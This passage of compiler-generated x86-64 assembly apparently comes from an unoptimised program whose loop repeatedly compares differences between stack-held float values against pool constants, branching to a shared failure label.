jmp LBB1_23 LBB1_19: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -68(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_4(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_20 jp LBB1_20 jmp LBB1_23 LBB1_20: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -68(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_5(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_21 jp LBB1_21 jmp LBB1_23 LBB1_21: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -68(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_6(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_22 jp LBB1_22 jmp LBB1_23 LBB1_22: ## in Loop: Header=BB1_3 Depth=1 movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -68(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_7(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_23: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -108(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_6(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.24: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -108(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_8(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.25: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -108(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_9(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.26: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -108(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_10(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.27: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -108(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.28: ## in Loop: Header=BB1_3 Depth=1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -108(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_5(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.29: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -108(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_6(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_30 jp LBB1_30 jmp LBB1_35 LBB1_30: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -108(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_8(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_31 jp LBB1_31 jmp LBB1_35 LBB1_31: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -108(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_9(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_32 jp LBB1_32 jmp LBB1_35 LBB1_32: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -108(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_10(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_33 jp LBB1_33 jmp LBB1_35 LBB1_33: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -108(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_34 jp LBB1_34 jmp LBB1_35 LBB1_34: ## in Loop: Header=BB1_3 Depth=1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -108(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_5(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_35: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_4(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.36: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_10(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.37: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_3(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.38: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_11(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.39: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.40: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_12(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.41: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_4(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_42 jp LBB1_42 jmp LBB1_47 LBB1_42: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_10(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_43 jp LBB1_43 jmp LBB1_47 LBB1_43: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_3(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_44 jp LBB1_44 jmp LBB1_47 LBB1_44: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_11(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_45 jp LBB1_45 jmp LBB1_47 LBB1_45: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_46 jp LBB1_46 jmp LBB1_47 LBB1_46: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_12(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_47: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_10(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.48: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_13(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.49: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_4(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.50: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_12(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.51: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_5(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.52: ## in Loop: Header=BB1_3 Depth=1 movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_12(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.53: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -60(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_10(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_54 jp LBB1_54 jmp LBB1_59 LBB1_54: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -60(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_13(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_55 jp LBB1_55 jmp LBB1_59 LBB1_55: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -60(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_4(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_56 jp LBB1_56 jmp LBB1_59 LBB1_56: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -60(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_12(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_57 jp LBB1_57 jmp LBB1_59 LBB1_57: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -60(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_5(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_58 jp LBB1_58 jmp LBB1_59 LBB1_58: ## in Loop: Header=BB1_3 Depth=1 movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -60(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_12(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_59: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -84(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_3(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.60: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -84(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_9(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.61: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -84(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_13(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.62: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -84(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_14(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.63: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -84(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_14(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.64: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -84(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.65: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -84(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_3(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_66 jp LBB1_66 jmp LBB1_71 LBB1_66: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -84(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_9(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_67 jp LBB1_67 jmp LBB1_71 LBB1_67: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -84(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_13(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_68 jp LBB1_68 jmp LBB1_71 LBB1_68: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -84(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_14(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_69 jp LBB1_69 jmp LBB1_71 LBB1_69: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -84(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_14(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_70 jp LBB1_70 jmp LBB1_71 LBB1_70: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -84(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_71: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_15(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.72: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_16(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.73: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.74: ## in Loop: Header=BB1_3 Depth=1 movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_4(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.75: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_12(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.76: ## in Loop: Header=BB1_3 Depth=1 movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_17(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.77: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, 